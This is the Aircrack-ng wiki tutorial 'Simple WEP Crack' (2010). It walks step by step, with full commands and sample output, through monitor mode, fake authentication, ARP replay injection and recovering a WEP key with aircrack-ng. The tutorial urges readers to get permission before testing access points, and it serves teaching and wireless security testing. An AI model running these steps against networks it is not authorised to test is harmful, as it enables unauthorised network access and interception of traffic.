Aircrack-ng

simple_wep_crack

Tutorial: Simple WEP Crack

Version: 1.20 January 11, 2010
By: darkAudax

Introduction

This tutorial walks you though a very simple case to crack a WEP key. It is intended to build your basic skills and get you familiar with the concepts. It assumes you have a working wireless card with drivers already patched for injection.

The basic concept behind this tutorial is using aireplay-ng replay an ARP packet to generate new unique IVs. In turn, aircrack-ng uses the new unique IVs to crack the WEP key. It is important to understand what an ARP packet is. This "What is an ARP?" section provides the details.

For a start to finish newbie guide, see the Linux Newbie Guide. Although this tutorial does not cover all the steps, it does attempt to provide much more detailed examples of the steps to actually crack a WEP key plus explain the reason and background of each step. For more information on installing aircrck-ng, see Installing Aircrack-ng and for installing drivers see Installing Drivers.

It is recommended that you experiment with your home wireless access point to get familiar with these ideas and techniques. If you do not own a particular access point, please remember to get permission from the owner prior to playing with it.

I would like to acknowledge and thank the Aircrack-ng team [http://trac.aircrack-ng.org/wiki/Team] for producing such a great robust tool.

Please send me any constructive feedback, positive or negative. Additional troubleshooting ideas and tips are especially welcome.

Assumptions

First, this solution assumes:

- You are using drivers patched for injection. Use the injection test to confirm your card can inject prior to proceeding.
- You are physically close enough to send and receive access point packets. Remember that just because you can receive packets from the access point does not mean you may will be able to transmit packets to the AP. The wireless card strength is typically less then the AP strength. So you have to be physically close enough for your transmitted packets to reach and be received by the AP. You should confirm that you can communicate with the specific AP by following these instructions.
- There is at least one wired or wireless client connected to the network and they are active. The reason is that this tutorial depends on receiving at least one ARP request packet and if there are no active clients then there will never be any ARP request packets.
- You are using v0.9 of aircrack-ng. If you use a different version then some of the common options may have to be changed.

Ensure all of the above assumptions are true, otherwise the advice that follows will not work. In the examples below, you will need to change “ath0” to the interface name which is specific to your wireless card.

Equipment used

In this tutorial, here is what was used:

- MAC address of PC running aircrack-ng suite: 00:0F:B5:88:AC:82
- BSSID (MAC address of access point): 00:14:6C:7E:40:80
- ESSID (Wireless network name): teddy
- Access point channel: 9
- Wireless interface: ath0

You should gather the equivalent information for the network you will be working on. Then just change the values in the examples below to the specific network.

Solution

Solution Overview

To crack the WEP key for an access point, we need to gather lots of initialization vectors (IVs). Normal network traffic does not typically generate these IVs very quickly. Theoretically, if you are patient, you can gather sufficient IVs to crack the WEP key by simply listening to the network traffic and saving them. Since none of us are patient, we use a technique called injection to speed up the process. Injection involves having the access point (AP) resend selected packets over and over very rapidly. This allows us to capture a large number of IVs in a short period of time.

Once we have captured a large number of IVs, we can use them to determine the WEP key.

Here are the basic steps we will be going through:

1. Start the wireless interface in monitor mode on the specific AP channel
2. Test the injection capability of the wireless device to the AP
3. Use aireplay-ng to do a fake authentication with the access point

4. Start airodump-ng on AP channel with a bssid filter to collect the new unique IVs
5. Start aireplay-ng in ARP request replay mode to inject packets
6. Run aircrack-ng to crack key using the IVs collected

Step 1 - Start the wireless interface in monitor mode on AP channel

The purpose of this step is to put your card into what is called monitor mode. Monitor mode is mode whereby your card can listen to every packet in the air. Normally your card will only “hear” packets addressed to you. By hearing every packet, we can later select some for injection. As well, only (there are some rare exceptions) monitor mode allows you to inject packets. (Note: this procedure is different for non-Atheros cards.)

First stop ath0 by entering:

```
airmon-ng stop ath0
```

The system responds:

```
Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (VAP destroyed)
```

Enter “iwconfig” to ensure there are no other athX interfaces. It should look similar to this:

```
lo        no wireless extensions.

eth0      no wireless extensions.

wifi0     no wireless extensions.
```

If there are any remaining athX interfaces, then stop each one. When you are finished, run “iwconfig” to ensure there are none left.

Now, enter the following command to start the wireless card on channel 9 in monitor mode:

```
airmon-ng start wifi0 9
```

Substitute the channel number that your AP runs on for “9” in the command above. This is important. You must have your wireless card locked to the AP channel for the following steps in this tutorial to work correctly.

Note: In this command we use “wifi0” instead of our wireless interface of “ath0”. This is because the madwifi-ng drivers are being used. For other drivers, use the wireless interface name. Examples: “wlan0” or “rausb0”.

The system will respond:

```
Interface       Chipset         Driver

wifi0           Atheros         madwifi-ng
ath0            Atheros         madwifi-ng VAP (parent: wifi0) (monitor mode enabled)
```

You will notice that “ath0” is reported above as being put into monitor mode.

To confirm the interface is properly setup, enter “iwconfig”.

The system will respond:

```
lo        no wireless extensions.

wifi0     no wireless extensions.

eth0      no wireless extensions.

ath0      IEEE 802.11g  ESSID:""  Nickname:""
       Mode:Monitor  Frequency:2.452 GHz  Access Point: 00:0F:B5:88:AC:82
       Bit Rate:0 kb/s   Tx-Power:18 dBm   Sensitivity=0/3
       Retry:off   RTS thr:off   Fragment thr:off
       Encryption key:off
       Power Management:off
       Link Quality=0/94  Signal level=-95 dBm  Noise level=-95 dBm
       Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
       Tx excessive retries:0  Invalid misc:0   Missed beacon:0
```

In the response above, you can see that ath0 is in monitor mode, on the 2.452GHz frequency which is channel 9 and the Access Point shows the MAC address of your wireless card. Please note that only the madwifi-ng drivers show the MAC address of your wireless card, the other drivers do not do this. So everything is good. It is important to confirm all this information prior to proceeding, otherwise the following steps will not work properly.

To match the frequency to the channel, check out: http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132 [http://www.cisco.com/en/US/docs/wireless/technology/channel/deployment/guide/Channel.html#wp134132] . This will give you the frequency for each channel.

Step 2 - Test Wireless Device Packet Injection

The purpose of this step ensures that your card is within distance of your AP and can inject packets to it.

Enter:

```
aireplay-ng -9 -e teddy -a 00:14:6C:7E:40:80  ath0
```

Where:

- -9 means injection test
- -e teddy is the wireless network name
- -a 00:14:6C:7E:40:80 is the access point MAC address
- ath0 is the wireless interface name

The system should respond with:

```
09:23:35  Waiting for beacon frame (BSSID: 00:14:6C:7E:40:80) on channel 9
09:23:35  Trying broadcast probe requests...
09:23:35  Injection is working!
09:23:37  Found 1 AP

09:23:37  Trying directed probe requests...
09:23:37  00:14:6C:7E:40:80 - channel: 9 - 'teddy'
09:23:39  Ping (min/avg/max): 1.827ms/68.145ms/111.610ms Power: 33.73
09:23:39  30/30: 100%
```

The last line is important. Ideally it should say 100% or a very high percentage. If it is low then you are too far away from the AP or too close. If it is zero then injection is not working and you need to patch your drivers or use different drivers.

See the injection test for more details.

Step 3 - Start airodump-ng to capture the IVs

The purpose of this step is to capture the IVs generated. This step starts airodump-ng to capture the IVs from the specific access point.

Open another console session to capture the generated IVs. Then enter:

```
airodump-ng -c 9 --bssid 00:14:6C:7E:40:80 -w output ath0
```

Where:

- -c 9 is the channel for the wireless network
- --bssid 00:14:6C:7E:40:80 is the access point MAC address. This eliminate extraneous traffic.
- -w capture is file name prefix for the file which will contain the IVs.
- ath0 is the interface name.

While the injection is taking place (later), the screen will look similar to this:

```
CH  9 ][ Elapsed: 8 mins ][ 2007-03-21 19:25

BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB  ENC  CIPHER AUTH ESSID

00:14:6C:7E:40:80   42 100     5240   178307  338   9  54  WEP  WEP         teddy

BSSID              STATION            PWR  Lost  Packets  Probes

00:14:6C:7E:40:80  00:0F:B5:88:AC:82   42     0   183782
```

Step 4 - Use aireplay-ng to do a fake authentication with the access point

In order for an access point to accept a packet, the source MAC address must already be associated. If the source MAC address you are injecting is not associated then the AP ignores the packet and sends out a “DeAuthentication” packet in cleartext. In this state, no new IVs are created because the AP is ignoring all the injected packets.

The lack of association with the access point is the single biggest reason why injection fails. Remember the golden rule: The MAC you use for injection must be associated with the AP by either using fake authentication or using a MAC from an already-associated client.

To associate with an access point, use fake authentication:

```
aireplay-ng -1 0 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
```

Where:

- -1 means fake authentication
- 0 reassociation timing in seconds
- -e teddy is the wireless network name
- -a 00:14:6C:7E:40:80 is the access point MAC address
- -h 00:0F:B5:88:AC:82 is our card MAC address
- ath0 is the wireless interface name

Success looks like:

```
18:18:20  Sending Authentication Request
18:18:20  Authentication successful
18:18:20  Sending Association Request
18:18:20  Association successful :-)
```

Or another variation for picky access points:

```
aireplay-ng -1 6000 -o 1 -q 10 -e teddy -a 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
```

Where:

- 6000 - Reauthenticate every 6000 seconds. The long period also causes keep alive packets to be sent.
- -o 1 - Send only one set of packets at a time. Default is multiple and this confuses some APs.
- -q 10 - Send keep alive packets every 10 seconds.

Success looks like:

```
18:22:32  Sending Authentication Request
18:22:32  Authentication successful
18:22:32  Sending Association Request
18:22:32  Association successful :-)
18:22:42  Sending keep-alive packet
18:22:52  Sending keep-alive packet
# and so on.
```

Here is an example of what a failed authentication looks like:

```
8:28:02  Sending Authentication Request
18:28:02  Authentication successful
18:28:02  Sending Association Request
18:28:02  Association successful :-)
18:28:02  Got a deauthentication packet!
18:28:05  Sending Authentication Request
18:28:05  Authentication successful
18:28:05  Sending Association Request
18:28:10  Sending Authentication Request
18:28:10  Authentication successful
18:28:10  Sending Association Request
```

Notice the “Got a deauthentication packet” and the continuous retries above. Do not proceed to the next step until you have the fake authentication running correctly.

Troubleshooting Tips

- Some access points are configured to only allow selected MAC addresses to associate and connect. If this is the case, you will not be able to successfully do fake authentication unless you know one of the MAC addresses on the allowed list. If you suspect this is the problem, use the following command while trying to do fake authentication. Start another session and…

Run: tcpdump -n -vvv -s0 -e -i <interface name> | grep -i -E ”(RA:<MAC address of your card>|Authentication|ssoc)”

You would then look for error messages.

- If at any time you wish to confirm you are properly associated is to use tcpdump and look at the packets. Start another session and…

Run: “tcpdump -n -e -s0 -vvv -i ath0”

Here is a typical tcpdump error message you are looking for:

```
 11:04:34.360700 314us BSSID:00:14:6c:7e:40:80 DA:00:0F:B5:88:AC:82 SA:00:14:6c:7e:40:80   DeAuthentication: Class 3 frame received from nonassociated station
```

Notice that the access point (00:14:6c:7e:40:80) is telling the source (00:0F:B5:88:AC:82) you are not associated. Meaning, the AP will not process or accept the injected packets.

If you want to select only the DeAuth packets with tcpdump then you can use: “tcpdump -n -e -s0 -vvv -i ath0 | grep -i DeAuth”. You may need to tweak the phrase “DeAuth” to pick out the exact packets you want.

Step 5 - Start aireplay-ng in ARP request replay mode

The purpose of this step is to start aireplay-ng in a mode which listens for ARP requests then reinjects them back into the network. For an explanation of ARP, see this PC Magazine page [http://www.pcmag.com/encyclopedia_term/0,2542,t=ARP&i=37988,00.asp] or Wikipedia [http://en.wikipedia.org/wiki/Address_Resolution_Protocol]. The reason we select ARP request packets is because the AP will normally rebroadcast them and generate a new IV. Again, this is our objective, to obtain a large number of IVs in a short period of time.

Open another console session and enter:

```
 aireplay-ng -3 -b 00:14:6C:7E:40:80 -h 00:0F:B5:88:AC:82 ath0
```

It will start listening for ARP requests and when it hears one, aireplay-ng will immediately start to inject it. See the Generating ARPs section for tricks on generating ARPs if your screen says “got 0 ARP requests” after waiting a long time.

Here is what the screen looks like when ARP requests are being injected:

```
 Saving ARP requests in replay_arp-0321-191525.cap
 You should also start airodump-ng to capture replies.
 Read 629399 packets (got 316283 ARP requests), sent 210955 packets...
```

You can confirm that you are injecting by checking your airodump-ng screen. The data packets should be increasing rapidly. The ”#/s” should be a decent number. However, decent depends on a large variety of factors. A typical range is 300 to 400 data packets per second. It can as low as a 100/second and as high as a 500/second.

Troubleshooting Tips

- If you receive a message similar to “Got a deauth/disassoc packet. Is the source mac associated?”, this means you have lost association with the AP. All your injected packets will be ignored. You must return to the fake authentication step (Step 3) and successfully associate with the AP.

Step 6 - Run aircrack-ng to obtain the WEP key

The purpose of this step is to obtain the WEP key from the IVs gathered in the previous steps.

Note: For learning purposes, you should use a 64 bit WEP key on your AP to speed up the cracking process. If this is the case, then you can include ”-n 64” to limit the checking of keys to 64 bits.

Two methods will be shown. It is recommended you try both for learning purposes. By trying both methods, you will see quickly the PTW method successfully determines the WEP key compared to the FMS/Korek method. As a reminder, the PTW method only works successfully

with arp request/reply packets. Since this tutorial covers injection of ARP request packets, you can properly use this method. The other requirement is that you capture the full packet with airodump-ng. Meaning, do not use the ”--ivs” option.

Start another console session and enter:

```
aircrack-ng -b 00:14:6C:7E:40:80 output*.cap
```

Where:

- -b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.
- output*.cap selects all files starting with “output” and ending in ”.cap”.

To also use the FMS/Korek method, start another console session and enter:

```
aircrack-ng -K -b 00:14:6C:7E:40:80 output*.cap
```

Where:

- -K invokes the FMS/Korek method
- -b 00:14:6C:7E:40:80 selects the one access point we are interested in. This is optional since when we originally captured the data, we applied a filter to only capture data for this one AP.
- output*.cap selects all files starting with “output” and ending in ”.cap”.

If you are using 1.0-rc1, add the option ”-K” for the FMS/KoreK attack. (1.0-rc1 defaults to PTW.)

You can run this while generating packets. In a short time, the WEP key will be calculated and presented. You will need approximately 250,000 IVs for 64 bit and 1,500,000 IVs for 128 bit keys. If you are using the PTW attack, then you will need about 20,000 packets for 64-bit and 40,000 to 85,000 packets for 128 bit. These are very approximate and there are many variables as to how many IVs you actually need to crack the WEP key.

Here is what success looks like:

```
                                      Aircrack-ng 0.9


                           [00:03:06] Tested 674449 keys (got 96610 IVs)

 KB    depth   byte(vote)
  0    0/  9   12(  15) F9(  15) 47(  12) F7(  12) FE(  12) 1B(   5) 77(   5) A5(   3) F6(   3) 03(   0)
  1    0/  8   34(  61) E8(  27) E0(  24) 06(  18) 3B(  16) 4E(  15) E1(  15) 2D(  13) 89(  12) E4(  12)
  2    0/  2   56(  87) A6(  63) 15(  17) 02(  15) 6B(  15) E0(  15) AB(  13) 0E(  10) 17(  10) 27(  10)
  3    1/  5   78(  43) 1A(  20) 9B(  20) 4B(  17) 4A(  16) 2B(  15) 4D(  15) 58(  15) 6A(  15) 7C(  15)

                     KEY FOUND! [ 12:34:56:78:90 ]
      Probability: 100%
```

Notice that in this case it took far less then the estimated 250,000 IVs to crack the key. (For this example, the FMS/KoreK attack was used.)

General Troubleshooting

- Be sure to read all the documentation on the Wiki for the various commands used in this tutorial.
- See Tutorial: I am injecting but the IVs don't increase

Generating ARPs

In order for this tutorial to work, you must receive at least one ARP packet. On your home network, here is an easy way to generate an ARP packet. On a wired or wireless PC, ping a non-existent IP on your home LAN. A wired PC means a PC connected to your LAN via an ethernet cable. Lets say your home LAN address space is 192.168.1.1 through 192.168.1.254. Pick an IP between 1 and 254 which is not assigned to a network device. For example, if the IP 192.168.1.213 is not being used then “ping 192.168.1.213”. This will cause an ARP to be broadcast via your wireless access point and in turn, this will kick off the reinjection of packets by aireplay-ng.

simple_wep_crack.txt · Last modified: 2010/08/29 19:41 by mister_x